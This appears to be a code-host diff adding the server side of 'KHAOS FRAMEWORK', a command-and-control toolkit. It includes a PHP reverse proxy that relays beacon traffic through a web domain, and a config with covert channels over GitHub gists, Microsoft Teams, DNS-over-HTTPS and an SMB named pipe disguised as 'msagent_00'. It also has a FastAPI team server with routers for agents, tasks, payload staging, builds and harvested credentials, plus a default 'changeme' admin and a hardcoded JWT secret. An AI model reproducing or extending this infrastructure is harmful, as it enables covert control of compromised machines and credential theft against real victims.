|
||||
echo " Change via: KHAOS_OPERATOR_USER=x KHAOS_OPERATOR_PASS=y python3 server/main.py"
|
||||
echo ""
|
||||
@@ -0,0 +1,84 @@
|
||||
<?php
|
||||
/**
|
||||
* C2 reverse proxy — deploy to khaotic.fr webroot (PHP shared hosting).
|
||||
* Relays /c2proxy.php?p=<path> → C2_BACKEND/<path>
|
||||
*
|
||||
* Backend: set C2_BACKEND env var in .htaccess, e.g.:
|
||||
* SetEnv C2_BACKEND https://YOUR_VPS_IP:8443
|
||||
* Falls back to https://127.0.0.1:8443 (same-host VPS deploy).
|
||||
*
|
||||
* Drop in Apache webroot; no mod_proxy / AllowOverride needed.
|
||||
*/
|
||||
|
||||
// Whitelist allowed paths
|
||||
$path = $_GET['p'] ?? '';
|
||||
if (!preg_match('/^\/[a-zA-Z0-9\/_\-\.]*$/', $path)) {
|
||||
http_response_code(400);
|
||||
header('Content-Type: application/json');
|
||||
echo json_encode(['error' => 'bad path']);
|
||||
exit;
|
||||
}
|
||||
|
||||
$backend = rtrim(getenv('C2_BACKEND') ?: 'https://127.0.0.1:8443', '/');
|
||||
$target = $backend . $path;
|
||||
|
||||
// Preserve query string (minus our own 'p' param)
|
||||
$qs = $_SERVER['QUERY_STRING'] ?? '';
|
||||
$qs = preg_replace('/(^|&)p=[^&]*/', '', $qs);
|
||||
$qs = ltrim($qs, '&');
|
||||
if ($qs !== '') {
|
||||
$target .= '?' . $qs;
|
||||
}
|
||||
|
||||
$ch = curl_init($target);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $_SERVER['REQUEST_METHOD']);
|
||||
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
|
||||
curl_setopt($ch, CURLOPT_HEADER, true);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
|
||||
|
||||
// Forward body (POST/PUT/PATCH)
|
||||
$body = file_get_contents('php://input');
|
||||
if ($body !== false && $body !== '') {
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
|
||||
}
|
||||
|
||||
// Forward headers
|
||||
$fwd = [];
|
||||
if (!empty($_SERVER['CONTENT_TYPE'])) {
|
||||
$fwd[] = 'Content-Type: ' . $_SERVER['CONTENT_TYPE'];
|
||||
}
|
||||
if (!empty($_SERVER['HTTP_AUTHORIZATION'])) {
|
||||
$fwd[] = 'Authorization: ' . $_SERVER['HTTP_AUTHORIZATION'];
|
||||
}
|
||||
if (!empty($fwd)) {
|
||||
curl_setopt($ch, CURLOPT_HTTPHEADER, $fwd);
|
||||
}
|
||||
|
||||
$response = curl_exec($ch);
|
||||
if ($response === false) {
|
||||
http_response_code(502);
|
||||
header('Content-Type: application/json');
|
||||
echo json_encode(['error' => 'upstream unreachable', 'detail' => curl_error($ch)]);
|
||||
curl_close($ch);
|
||||
exit;
|
||||
}
|
||||
|
||||
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
|
||||
curl_close($ch);
|
||||
|
||||
$resp_headers = substr($response, 0, $header_size);
|
||||
$resp_body = substr($response, $header_size);
|
||||
|
||||
http_response_code($http_code);
|
||||
|
||||
foreach (explode("\r\n", $resp_headers) as $line) {
|
||||
if (stripos($line, 'Content-Type:') === 0) {
|
||||
header($line);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
echo $resp_body;
|
||||
@@ -0,0 +1,38 @@
|
||||
# config.example.yaml
|
||||
# Copier ce fichier en config.yaml et remplir les valeurs
|
||||
# Ne JAMAIS committer config.yaml (voir .gitignore)
|
||||
|
||||
server:
|
||||
host: "0.0.0.0"
|
||||
port: 8443
|
||||
jwt_secret: "GENERATE_WITH: openssl rand -base64 32"
|
||||
|
||||
beacon:
|
||||
interval: 30
|
||||
jitter: 0.4
|
||||
|
||||
channels:
|
||||
github:
|
||||
token: "ghp_YOUR_GITHUB_PAT_WITH_GIST_SCOPE"
|
||||
gist_cmd: "" # laissez vide = auto-créé au démarrage
|
||||
gist_out: ""
|
||||
|
||||
teams:
|
||||
tenant_id: "YOUR_TENANT_ID"
|
||||
client_id: "YOUR_APP_CLIENT_ID"
|
||||
client_secret: "YOUR_APP_CLIENT_SECRET"
|
||||
webhook_url: "https://xxx.webhook.office.com/webhookb2/..."
|
||||
team_id: "TEAMS_TEAM_ID"
|
||||
channel_id: "TEAMS_CHANNEL_ID"
|
||||
|
||||
http:
|
||||
beacon_url: "https://khaotic.fr/c2proxy.php?p=/beacon"
|
||||
|
||||
doh:
|
||||
server: "https://cloudflare-dns.com/dns-query"
|
||||
domain: "c2.khaotic.fr"
|
||||
ionos_api_key: "PREFIX.SECRET"
|
||||
|
||||
smb:
|
||||
host: "" # pivot hostname or IP; empty = SMB channel disabled
|
||||
pipe: "msagent_00" # named pipe name (no backslash prefix)
|
||||
@@ -0,0 +1,20 @@
|
||||
"""
|
||||
Database session helpers — populated by main.py at startup.
|
||||
Routers import get_db from here so they stay decoupled from engine setup.
|
||||
"""
|
||||
from typing import Generator
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
|
||||
# Set by main.py after engine creation
|
||||
SessionLocal = None
|
||||
|
||||
|
||||
def get_db() -> Generator[Session, None, None]:
|
||||
if SessionLocal is None:
|
||||
raise RuntimeError("get_db not initialized — is main.py loaded?")
|
||||
db = SessionLocal()
|
||||
try:
|
||||
yield db
|
||||
finally:
|
||||
db.close()
|
||||
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env bash
|
||||
# Generate self-signed cert for dev / VPS without Let's Encrypt
|
||||
# For production with a real domain, use:
|
||||
# certbot certonly --standalone -d your-domain.com
|
||||
# then symlink: cert.pem -> fullchain.pem, key.pem -> privkey.pem
|
||||
#
|
||||
# Usage: ./gen_cert.sh [CN] (default CN = localhost)
|
||||
|
||||
CN="${1:-localhost}"
|
||||
DAYS=365
|
||||
|
||||
openssl req -x509 -newkey rsa:4096 -sha256 \
|
||||
-keyout key.pem \
|
||||
-out cert.pem \
|
||||
-days $DAYS \
|
||||
-nodes \
|
||||
-subj "/CN=${CN}" \
|
||||
-addext "subjectAltName=DNS:${CN},IP:127.0.0.1"
|
||||
|
||||
echo "[ok] cert.pem / key.pem generated (CN=${CN}, ${DAYS}d)"
|
||||
@@ -0,0 +1,67 @@
|
||||
import sys as _sys
|
||||
|
||||
block_cipher = None
|
||||
|
||||
a = Analysis(
|
||||
['main.py'],
|
||||
pathex=['.'],
|
||||
binaries=[],
|
||||
datas=[
|
||||
('config.yaml', '.'),
|
||||
('khaos.db', '.'),
|
||||
('routers', 'routers'),
|
||||
('models', 'models'),
|
||||
('services', 'services'),
|
||||
],
|
||||
hiddenimports=[
|
||||
'uvicorn', 'uvicorn.logging', 'uvicorn.loops', 'uvicorn.loops.auto',
|
||||
'uvicorn.loops.asyncio', 'uvicorn.protocols', 'uvicorn.protocols.http',
|
||||
'uvicorn.protocols.http.auto', 'uvicorn.protocols.http.h11_impl',
|
||||
'uvicorn.protocols.websockets', 'uvicorn.protocols.websockets.auto',
|
||||
'uvicorn.protocols.websockets.websockets_impl',
|
||||
'uvicorn.lifespan', 'uvicorn.lifespan.on', 'uvicorn.lifespan.off',
|
||||
'uvicorn.config', 'uvicorn.main',
|
||||
'anyio', 'anyio._backends._asyncio', 'anyio._backends._trio',
|
||||
'asyncio', 'email.mime.text', 'email.mime.multipart',
|
||||
'starlette', 'starlette.middleware.cors',
|
||||
'sqlalchemy.dialects.sqlite', 'sqlalchemy.pool',
|
||||
'passlib', 'jose', 'jose.jwt',
|
||||
'cryptography', 'cryptography.hazmat.primitives.hashes',
|
||||
'multipart', 'python_multipart',
|
||||
'routers.auth', 'routers.beacon', 'routers.agents',
|
||||
'routers.tasks', 'routers.build', 'routers.stage', 'routers.creds',
|
||||
'models.agent', 'models.user',
|
||||
'services.agent_manager', 'services.channel_reader',
|
||||
'services.dns_server', 'services.ws_manager', 'services.crypto',
|
||||
],
|
||||
hookspath=[],
|
||||
runtime_hooks=[],
|
||||
excludes=[],
|
||||
win_no_prefer_redirects=False,
|
||||
win_private_assemblies=False,
|
||||
cipher=block_cipher,
|
||||
noarchive=False,
|
||||
)
|
||||
|
||||
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
|
||||
|
||||
exe = EXE(
|
||||
pyz,
|
||||
a.scripts,
|
||||
a.binaries,
|
||||
a.zipfiles,
|
||||
a.datas,
|
||||
[],
|
||||
name='khaos-server',
|
||||
debug=False,
|
||||
bootloader_ignore_signals=False,
|
||||
strip=False,
|
||||
upx=False,
|
||||
upx_exclude=[],
|
||||
runtime_tmpdir=None,
|
||||
console=_sys.platform != 'win32', # False sur Windows, True sur Linux
|
||||
disable_windowed_traceback=False,
|
||||
target_arch=None,
|
||||
codesign_identity=None,
|
||||
entitlements_file=None,
|
||||
)
|
||||
+283
@@ -0,0 +1,283 @@
|
||||
"""
|
||||
KHAOS FRAMEWORK Team Server — FastAPI
|
||||
"""
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
from contextlib import asynccontextmanager
|
||||
|
||||
from fastapi import WebSocket, WebSocketDisconnect
|
||||
|
||||
import yaml
|
||||
from fastapi import FastAPI
|
||||
from fastapi.middleware.cors import CORSMiddleware
|
||||
from sqlalchemy import create_engine
|
||||
from sqlalchemy.orm import sessionmaker
|
||||
|
||||
from models.agent import Base
|
||||
from services.agent_manager import manager as agent_manager
|
||||
from services.channel_reader import ChannelReader
|
||||
from services.dns_server import start_dns_server
|
||||
from routers import auth, beacon, agents, tasks, build, stage, creds
|
||||
from routers.auth import verify_token_str
|
||||
from services.ws_manager import ws_manager
|
||||
|
||||
# ---- Logging ----
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format="%(asctime)s [%(levelname)s] %(name)s: %(message)s",
|
||||
)
|
||||
logger = logging.getLogger("main")
|
||||
|
||||
# ---- PyInstaller-aware paths ----
|
||||
def _data_dir() -> str:
|
||||
"""Répertoire persistant pour config.yaml et khaos.db."""
|
||||
if getattr(sys, 'frozen', False):
|
||||
if os.name == 'nt': # Windows
|
||||
base = os.environ.get('APPDATA', os.path.expanduser('~'))
|
||||
else: # Linux / macOS
|
||||
base = os.environ.get('XDG_DATA_HOME', os.path.join(os.path.expanduser('~'), '.local', 'share'))
|
||||
d = os.path.join(base, 'KHAOS')
|
||||
os.makedirs(d, exist_ok=True)
|
||||
return d
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
_DATA_DIR = _data_dir()
|
||||
|
||||
# ---- Config ----
|
||||
CONFIG_PATH = os.path.join(_DATA_DIR, "config.yaml")
|
||||
# Premier démarrage (bundle) : copie le config.yaml bundlé
|
||||
if getattr(sys, 'frozen', False) and not os.path.exists(CONFIG_PATH):
|
||||
_src = os.path.join(sys._MEIPASS, "config.yaml")
|
||||
if os.path.exists(_src):
|
||||
shutil.copy2(_src, CONFIG_PATH)
|
||||
|
||||
def load_config() -> dict:
|
||||
try:
|
||||
with open(CONFIG_PATH) as f:
|
||||
return yaml.safe_load(f) or {}
|
||||
except FileNotFoundError:
|
||||
return {}
|
||||
|
||||
config = load_config()
|
||||
|
||||
# Inject secrets from env if config values are placeholders
|
||||
_channels = config.setdefault("channels", {})
|
||||
_github = _channels.setdefault("github", {})
|
||||
if len(_github.get("token", "")) < 20:
|
||||
_github["token"] = os.environ.get("KHAOS_GITHUB_TOKEN", "")
|
||||
_github["gist_cmd"] = os.environ.get("KHAOS_GIST_CMD", "")
|
||||
_github["gist_out"] = os.environ.get("KHAOS_GIST_OUT", "")
|
||||
|
||||
# Propagate JWT secret
|
||||
_server = config.get("server", {})
|
||||
jwt_secret = _server.get("jwt_secret", "/H7GCJcEI3tlCI98tnOrtHUFYOL2VnNVcM2O/amWy7s=")
|
||||
if jwt_secret == "/H7GCJcEI3tlCI98tnOrtHUFYOL2VnNVcM2O/amWy7s=":
|
||||
jwt_secret = os.environ.get("KHAOS_JWT_SECRET", jwt_secret)
|
||||
os.environ.setdefault("KHAOS_JWT_SECRET", jwt_secret)
|
||||
|
||||
# ---- Database ----
|
||||
DB_PATH = os.path.join(_DATA_DIR, "khaos.db")
|
||||
# Premier démarrage (bundle) : copie le khaos.db bundlé (avec l'user operator pré-créé)
|
||||
if getattr(sys, 'frozen', False) and not os.path.exists(DB_PATH):
|
||||
_src_db = os.path.join(sys._MEIPASS, "khaos.db")
|
||||
if os.path.exists(_src_db):
|
||||
shutil.copy2(_src_db, DB_PATH)
|
||||
engine = create_engine(f"sqlite:///{DB_PATH}", connect_args={"check_same_thread": False})
|
||||
SessionLocal = sessionmaker(bind=engine, autocommit=False, autoflush=False)
|
||||
|
||||
Base.metadata.create_all(bind=engine)
|
||||
|
||||
# Import Base from all models so tables are created
|
||||
import models.task # noqa: F401
|
||||
import models.log # noqa: F401
|
||||
import models.user # noqa: F401
|
||||
import models.cred # noqa: F401
|
||||
Base.metadata.create_all(bind=engine)
|
||||
|
||||
with engine.connect() as _conn:
|
||||
_cols = [r[1] for r in _conn.execute(__import__('sqlalchemy').text("PRAGMA table_info(agents)")).fetchall()]
|
||||
if "parent_id" not in _cols:
|
||||
_conn.execute(__import__('sqlalchemy').text("ALTER TABLE agents ADD COLUMN parent_id TEXT DEFAULT ''"))
|
||||
_conn.commit()
|
||||
if "ip" not in _cols:
|
||||
_conn.execute(__import__('sqlalchemy').text("ALTER TABLE agents ADD COLUMN ip TEXT DEFAULT ''"))
|
||||
_conn.commit()
|
||||
if "auto_enum_done" not in _cols:
|
||||
_conn.execute(__import__('sqlalchemy').text("ALTER TABLE agents ADD COLUMN auto_enum_done INTEGER DEFAULT 0"))
|
||||
_conn.commit()
|
||||
|
||||
|
||||
def _seed_default_admin() -> None:
|
||||
from models.user import User
|
||||
db = SessionLocal()
|
||||
try:
|
||||
if db.query(User).count() == 0:
|
||||
uname = os.environ.get("KHAOS_OPERATOR_USER", "operator")
|
||||
upass = os.environ.get("KHAOS_OPERATOR_PASS", "changeme")
|
||||
db.add(User(
|
||||
username=uname,
|
||||
password_hash=User.hash_password(upass),
|
||||
role="admin",
|
||||
is_active=True,
|
||||
))
|
||||
db.commit()
|
||||
logger.info("Seeded default admin: %s", uname)
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
_seed_default_admin()
|
||||
|
||||
|
||||
def get_db():
|
||||
db = SessionLocal()
|
||||
try:
|
||||
yield db
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
# Expose SessionLocal so database.get_db can use it
|
||||
import database as _db_module
|
||||
_db_module.SessionLocal = SessionLocal
|
||||
|
||||
# ---- Channel reader ----
|
||||
reader = ChannelReader(config, SessionLocal)
|
||||
|
||||
# ---- App lifecycle ----
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI):
|
||||
# Load existing sessions from DB
|
||||
db = SessionLocal()
|
||||
try:
|
||||
agent_manager.load_from_db(db)
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
poll_task = asyncio.create_task(reader.run())
|
||||
|
||||
beacon_interval = config.get("agent", {}).get("interval", 30)
|
||||
|
||||
async def _heartbeat():
|
||||
from models.agent import Agent as _Agent
|
||||
from models.log import Log as _Log
|
||||
from datetime import datetime, timedelta
|
||||
timeout = max(beacon_interval * 4, 120)
|
||||
while True:
|
||||
await asyncio.sleep(60)
|
||||
try:
|
||||
db = SessionLocal()
|
||||
cutoff = datetime.utcnow() - timedelta(seconds=timeout)
|
||||
stale = db.query(_Agent).filter(
|
||||
_Agent.is_active == True, # noqa: E712
|
||||
_Agent.last_seen < cutoff,
|
||||
).all()
|
||||
for a in stale:
|
||||
a.is_active = False
|
||||
db.add(_Log(agent_id=a.agent_id, event="agent_lost",
|
||||
detail=f"no beacon for >{timeout}s"))
|
||||
if stale:
|
||||
db.commit()
|
||||
for a in stale:
|
||||
await ws_manager.broadcast({
|
||||
"type": "agent_lost",
|
||||
"agent_id": a.agent_id,
|
||||
})
|
||||
logger.info("heartbeat: marked %d agent(s) lost", len(stale))
|
||||
db.close()
|
||||
except Exception as _e:
|
||||
logger.warning("heartbeat error: %s", _e)
|
||||
|
||||
heartbeat_task = asyncio.create_task(_heartbeat())
|
||||
|
||||
# Start authoritative DNS server if domain is configured
|
||||
dns_transport = None
|
||||
doh_cfg = config.get("channels", {}).get("doh", {})
|
||||
doh_domain = doh_cfg.get("domain", "")
|
||||
if doh_domain:
|
||||
try:
|
||||
dns_transport = await start_dns_server(doh_domain, SessionLocal)
|
||||
logger.info("DNS server started for %s", doh_domain)
|
||||
except PermissionError:
|
||||
logger.warning(
|
||||
"DNS server: port 53 requires root or cap_net_bind_service — "
|
||||
"run: sudo setcap cap_net_bind_service+ep $(which python3)"
|
||||
)
|
||||
except Exception as e:
|
||||
logger.warning("DNS server failed to start: %s", e)
|
||||
|
||||
logger.info("KHAOS FRAMEWORK Team Server started")
|
||||
yield
|
||||
|
||||
reader.stop()
|
||||
for t in (poll_task, heartbeat_task):
|
||||
t.cancel()
|
||||
try:
|
||||
await t
|
||||
except asyncio.CancelledError:
|
||||
pass
|
||||
if dns_transport:
|
||||
dns_transport.close()
|
||||
|
||||
# ---- FastAPI app ----
|
||||
app = FastAPI(
|
||||
title="KHAOS FRAMEWORK Team Server",
|
||||
version="1.0.0",
|
||||
docs_url=None,
|
||||
redoc_url=None,
|
||||
lifespan=lifespan,
|
||||
)
|
||||
|
||||
_cors_origins = config.get("server", {}).get("cors_origins", ["*"])
|
||||
app.add_middleware(
|
||||
CORSMiddleware,
|
||||
allow_origins=_cors_origins,
|
||||
allow_credentials=False,
|
||||
allow_methods=["GET", "POST", "DELETE"],
|
||||
allow_headers=["Authorization", "Content-Type"],
|
||||
)
|
||||
|
||||
app.include_router(auth.router)
|
||||
app.include_router(beacon.router)
|
||||
app.include_router(tasks.router) # must come before agents.router: /agents/{id}/task etc. must not be shadowed by agents /{agent_id}
|
||||
app.include_router(agents.router)
|
||||
app.include_router(build.router)
|
||||
app.include_router(stage.router)
|
||||
app.include_router(creds.router)
|
||||
|
||||
|
||||
@app.get("/health")
|
||||
async def health():
|
||||
return {"status": "ok"}
|
||||
|
||||
|
||||
@app.websocket("/ws")
|
||||
async def websocket_endpoint(websocket: WebSocket, token: str = ""):
|
||||
try:
|
||||
verify_token_str(token)
|
||||
except ValueError:
|
||||
await websocket.close(code=1008)
|
||||
return
|
||||
|
||||
await ws_manager.connect(websocket)
|
||||
try:
|
||||
while True:
|
||||
await websocket.receive_text()
|
||||
except WebSocketDisconnect:
|
||||
ws_manager.disconnect(websocket)
|
||||
except Exception:
|
||||
ws_manager.disconnect(websocket)
|
||||
|
||||
if __name__ == "__main__":
|
||||
import uvicorn
|
||||
# En mode frozen sans console, sys.stdout/stderr sont None
|
||||
# → redirige vers un fichier log dans %APPDATA%\KHAOS\
|
||||
if getattr(sys, 'frozen', False):
|
||||
_log_path = os.path.join(_DATA_DIR, "server.log")
|
||||
_log_file = open(_log_path, "a", buffering=1)
|
||||
sys.stdout = _log_file
|
||||
sys.stderr = _log_file
|
||||
uvicorn.run(app, host="0.0.0.0", port=8000, log_level="warning", log_config=None)
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user